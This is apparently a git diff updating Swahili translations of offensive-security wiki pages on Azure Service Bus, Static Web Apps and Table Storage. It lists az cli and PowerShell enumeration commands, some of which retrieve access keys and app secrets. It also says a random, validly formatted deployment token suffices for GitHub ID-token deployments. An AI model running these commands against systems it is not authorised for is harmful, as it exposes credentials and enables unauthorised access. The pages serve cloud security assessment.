- **Duplicate Detection**: Inafuta ujumbe wa nakala wakati wa kutuma tena.
- **Duplicate Detection**: Inatoa ujumbe wa nakala wakati wa kutuma tena.
- **Batch Deletion**: Inafuta kwa wingi ujumbe walioisha muda au wasio na umuhimu.
### Authorization-Rule / SAS Policy
@@ -43,13 +43,17 @@ Sera za SAS zinafafanua ruhusa za ufikiaji kwa vitu vya Azure Service Bus namesp
- Listen: Inaruhusu kupokea ujumbe kutoka kwa chombo.
- **Primary and Secondary Keys**: Hizi ni funguo za kificho zinazotumika kutengeneza tokeni salama za kuthibitisha ufikiaji.
- **Primary and Secondary Connection Strings**: Nyimbo za muunganisho zilizowekwa awali ambazo zinajumuisha mwisho na funguo kwa matumizi rahisi katika programu.
- **SAS Policy ARM ID**: Njia ya Meneja Rasilimali ya Azure (ARM) kwa sera kwa ajili ya utambuzi wa kimaandishi.
- **SAS Policy ARM ID**: Njia ya Meneja Rasilimali ya Azure (ARM) kwa sera kwa ajili ya utambulisho wa kimaandishi.
### NameSpace
sku, sheria ya uthibitisho,
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -77,7 +81,59 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
### Kuinua Mamlaka
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.ServiceBus
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves properties and details about a Service Bus namespace.
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private endpoint connections for a Service Bus namespace.
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private link resources associated with a Service Bus namespace.
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves details of a specified queue in a Service Bus namespace.
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
# Retrieves details of subscriptions for a specified Service Bus topic.
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Kuinua Haki
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md
@@ -89,7 +145,7 @@ az servicebus namespace authorization-rule keys list --resource-group <MyResourc
../az-post-exploitation/az-servicebus-post-exploitation.md
{{#endref}}
## Marejeleo
## Marejeo
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview

View File

@@ -4,7 +4,7 @@
## Static Web Apps Basic Information
Azure Static Web Apps ni huduma ya wingu kwa ajili ya kuhost **static web apps with automatic CI/CD from repositories like GitHub**. Inatoa usambazaji wa maudhui duniani kote, backends zisizo na seva, na HTTPS iliyojengwa ndani, ikifanya iwe salama na inayoweza kupanuka. Hata hivyo, ingawa huduma inaitwa "static", haimaanishi kuwa ni salama kabisa. Hatari ni pamoja na CORS zisizo na usanidi mzuri, uthibitishaji usiofaa, na uharibu wa maudhui, ambayo yanaweza kufichua apps kwa mashambulizi kama XSS na uvujaji wa data ikiwa hayataendeshwa vizuri.
Azure Static Web Apps ni huduma ya wingu kwa ajili ya kuhost **static web apps with automatic CI/CD from repositories like GitHub**. Inatoa usambazaji wa maudhui duniani kote, backends zisizo na seva, na HTTPS iliyojengwa ndani, ikifanya iwe salama na inayoweza kupanuka. Hata hivyo, ingawa huduma inaitwa "static", haimaanishi kuwa ni salama kabisa. Hatari ni pamoja na CORS zisizo na usanidi mzuri, uthibitishaji usio na kutosha, na uharibu wa maudhui, ambayo yanaweza kufichua apps kwa mashambulizi kama XSS na uvujaji wa data ikiwa hayataendeshwa vizuri.
### Deployment Authentication
@@ -13,11 +13,11 @@ Azure Static Web Apps ni huduma ya wingu kwa ajili ya kuhost **static web apps w
- **Deployment token**: Token inaundwa na kutumika kuthibitisha mchakato wa uhamasishaji. Mtu yeyote mwenye **token hii inatosha kuhamasisha toleo jipya la app**. **Github Action inahamishwa kiotomatiki** katika repo na token katika siri ili kuhamasisha toleo jipya la app kila wakati repo inasasishwa.
- **GitHub Actions workflow**: Katika kesi hii, Github Action inayofanana sana pia inahamishwa katika repo na **token pia inahifadhiwa katika siri**. Hata hivyo, Github Action hii ina tofauti, inatumia **`actions/github-script@v6`** action kupata IDToken ya repository na kuitumia kuhamasisha app.
- Hata kama katika kesi zote mbili hatua **`Azure/static-web-apps-deploy@v1`** inatumika na token katika param ya `azure_static_web_apps_api_token`, katika kesi hii ya pili token ya nasibu yenye muundo halali kama `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` inatosha kuhamasisha app kwani uthibitishaji unafanywa na IDToken katika param ya `github_id_token`.
- Hata kama katika kesi zote mbili action **`Azure/static-web-apps-deploy@v1`** inatumika na token katika param ya `azure_static_web_apps_api_token`, katika kesi hii ya pili token ya nasibu yenye muundo halali kama `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` inatosha kuhamasisha app kwani uthibitishaji unafanywa na IDToken katika param ya `github_id_token`.
### Web App Basic Authentication
Inawezekana **kuunda nenosiri** ili kufikia Web App. Kihifadhi cha wavuti kinaruhusu kuunda ili kulinda mazingira ya kujaribu pekee au mazingira yote ya kujaribu na uzalishaji.
Inawezekana **kuunda nenosiri** ili kufikia Web App. Kihifadhi cha wavuti kinaruhusu kuunda ili kulinda mazingira ya majaribio pekee au mazingira yote ya majaribio na uzalishaji.
Hivi ndivyo wakati wa kuandika app ya wavuti iliyo na nenosiri inavyoonekana:
@@ -34,7 +34,7 @@ Hata hivyo, hii **haitaonyesha nenosiri kwa maandiko wazi**, bali kitu kama: `"p
Routes zinaelezea **jinsi maombi ya HTTP yanayokuja yanavyoshughulikiwa** ndani ya programu ya wavuti isiyohamishika. Zimewekwa katika faili **`staticwebapp.config.json`**, zinadhibiti uandishi wa URL, mwelekeo, vizuizi vya ufikiaji, na idhini kulingana na majukumu, kuhakikisha usimamizi mzuri wa rasilimali na usalama.
Mfano baadhi:
Baadhi ya mifano:
```json
{
"routes": [
@@ -62,20 +62,24 @@ Mfano baadhi:
}
}
```
Note jinsi inavyowezekana **kulinda njia kwa kutumia jukumu**, kisha, watumiaji watahitaji kuthibitisha kwenye programu na kupewa jukumu hilo ili kufikia njia hiyo. Pia inawezekana **kuunda mialiko** inayotoa majukumu maalum kwa watumiaji maalum kuingia kupitia EntraID, Facebook, GitHub, Google, Twitter ambayo inaweza kuwa na manufaa katika kupandisha hadhi ndani ya programu.
Note jinsi inavyowezekana **kulinda njia kwa jukumu**, kisha, watumiaji watahitaji kuthibitisha kwenye programu na kupewa jukumu hilo ili kufikia njia hiyo. Pia inawezekana **kuunda mwaliko** unaotoa majukumu maalum kwa watumiaji maalum kuingia kupitia EntraID, Facebook, GitHub, Google, Twitter ambayo yanaweza kuwa na manufaa kuongeza mamlaka ndani ya programu.
> [!TIP]
> Kumbuka kwamba inawezekana kuunda mipangilio ya Programu ili **mabadiliko kwenye faili `staticwebapp.config.json`** yasikubalike. Katika kesi hii, huenda haitoshi kubadilisha faili kutoka Github, bali pia **kubadilisha mipangilio kwenye Programu**.
> Kumbuka kwamba inawezekana kuunda mipangilio ya Programu ili **mabadiliko kwenye `staticwebapp.config.json`** hayakubaliwi. Katika kesi hii, huenda haitoshi kubadilisha tu faili kutoka Github, bali pia **kubadilisha mipangilio kwenye Programu**.
URL ya hatua ina muundo huu: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` kama: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
### Identiti Zinazodhibitiwa
Azure Static Web Apps zinaweza kuundwa kutumia **identiti zinazodhibitiwa**, hata hivyo, kama ilivyotajwa katika [maswali haya ya mara kwa mara](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) zinasaidiwa tu **kutoa siri kutoka Azure Key Vault kwa madhumuni ya uthibitishaji, si kufikia rasilimali nyingine za Azure**.
Azure Static Web Apps zinaweza kuundwa kutumia **identiti zinazodhibitiwa**, hata hivyo, kama ilivyotajwa katika [maswali haya ya mara kwa mara](https://learn.microsoft.com/en-gb/azure/static-web-apps/faq#does-static-web-apps-support-managed-identity-) zinasaidiwa tu **kutoa siri kutoka Azure Key Vault kwa madhumuni ya uthibitishaji, sio kufikia rasilimali nyingine za Azure**.
Kwa maelezo zaidi unaweza kupata mwongozo wa Azure kutumia siri ya vault katika programu ya static katika https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
## Uhesabuji
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -107,17 +111,70 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
## Mifano ya Kuunda Programu za Mtandao
{% endcode %}
{% endtab %}
Unaweza kupata mfano mzuri wa kuunda programu ya mtandao katika kiungo kinachofuata: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Websites
1. Fork hifadhi https://github.com/staticwebdev/react-basic/generate kwenye akaunti yako ya GitHub na uiite `my-first-static-web-app`
2. Katika lango la Azure, unda Programu ya Mtandao ya Kawaida ukikamilisha ufikiaji wa Github na kuchagua hifadhi mpya iliyoforked hapo awali
# Retrieves details of a specific Static Web App in the specified resource group.
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the build details for a specific Static Web App.
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the application settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves functions for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves function app settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves the configured roles for a Static Web App.
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the custom domains configured for a Static Web App.
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves details of the functions associated with a Static Web App.
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the app settings for the function app associated with a Static Web App.
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the secrets for a Static Web App.
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves general app settings for a Static Web App.
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves user details for a Static Web App with a specified authentication provider.
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
# Retrieves user-provided function apps associated with a Static Web App.
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Mifano ya kuunda Web Apps
Unaweza kupata mfano mzuri wa kuunda web app katika kiungo kinachofuata: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Fork repository https://github.com/staticwebdev/react-basic/generate kwenye akaunti yako ya GitHub na uiite `my-first-static-web-app`
2. Katika portal ya Azure, unda Static Web App ukichanganya ufikiaji wa Github na kuchagua repository mpya iliyoforked hapo awali
3. Unda, na subiri dakika chache, na angalia ukurasa wako mpya!
## Kuinua Haki na Baada ya Utekelezaji
## Kuinua Mamlaka na Baada ya Utekelezaji
Taarifa zote kuhusu kuinua haki na baada ya utekelezaji katika Azure Static Web Apps zinaweza kupatikana katika kiungo kinachofuata:
Taarifa zote kuhusu kuinua mamlaka na baada ya utekelezaji katika Azure Static Web Apps zinaweza kupatikana katika kiungo kinachofuata:
{{#ref}}
../az-privilege-escalation/az-static-web-apps-privesc.md

View File

@@ -4,9 +4,9 @@
## Basic Information
**Azure Table Storage** ni duka la NoSQL la funguo-thamani lililoundwa kwa ajili ya kuhifadhi kiasi kikubwa cha data iliyopangwa, isiyo ya uhusiano. Inatoa upatikanaji wa juu, ucheleweshaji mdogo, na uwezo wa kupanuka ili kushughulikia seti kubwa za data kwa ufanisi. Data imepangwa katika meza, ambapo kila kitu kinatambulishwa kwa funguo za sehemu na funguo za safu, kuruhusu utafutaji wa haraka. Inasaidia vipengele kama vile usimbaji wa data wakati wa kupumzika, udhibiti wa ufikiaji kulingana na majukumu, na saini za ufikiaji wa pamoja kwa ajili ya uhifadhi salama na ulio na usimamizi unaofaa kwa matumizi mbalimbali.
**Azure Table Storage** ni duka la NoSQL la funguo-thamani lililoundwa kwa ajili ya kuhifadhi kiasi kikubwa cha data iliyopangwa, isiyo ya uhusiano. Inatoa upatikanaji wa juu, ucheleweshaji mdogo, na uwezo wa kupanuka ili kushughulikia seti kubwa za data kwa ufanisi. Data imeandaliwa katika meza, ambapo kila kitu kinatambulishwa na funguo za sehemu na funguo za safu, kuruhusu utafutaji wa haraka. Inasaidia vipengele kama vile usimbaji wa data wakati wa kupumzika, udhibiti wa ufikiaji kulingana na majukumu, na saini za ufikiaji wa pamoja kwa ajili ya uhifadhi salama na ulio na usimamizi unaofaa kwa matumizi mbalimbali.
Hakuna **mekanismu ya akiba iliyojengwa** kwa ajili ya uhifadhi wa meza.
**hakuna mfumo wa akiba uliojengwa ndani** kwa ajili ya uhifadhi wa meza.
### Keys
@@ -17,7 +17,7 @@ Hakuna **mekanismu ya akiba iliyojengwa** kwa ajili ya uhifadhi wa meza.
#### **RowKey**
- **RowKey ni kitambulisho cha kipekee** kwa kitu ndani ya sehemu. Inapounganishwa na PartitionKey, inahakikisha kwamba kila kitu katika meza kina kitambulisho cha kipekee duniani kote.
- **RowKey ni kitambulisho cha kipekee** kwa kitu ndani ya sehemu. Inapounganishwa na PartitionKey, inahakikisha kwamba kila kitu katika meza kina kitambulisho cha kipekee duniani.
- Mfano: Kwa sehemu ya `"HR"`, `RowKey` inaweza kuwa kitambulisho cha mfanyakazi, mfano, `"12345"`.
#### **Other Properties (Custom Properties)**
@@ -69,12 +69,14 @@ Get-AzStorageAccount
# List tables
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
```
{{#endtab}}
{{#endtabs}}
> [!NOTE]
> Kwa default `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza hatua. Ili kutumia mamlaka ya Entra ID principal tumia vigezo `--auth-mode login`.
> Kwa kawaida `az` cli itatumia funguo ya akaunti kusaini funguo na kutekeleza hatua. Ili kutumia ruhusa za Entra ID principal tumia vigezo `--auth-mode login`.
> [!TIP]
> Tumia param `--account-key` kuashiria funguo ya akaunti inayotumika\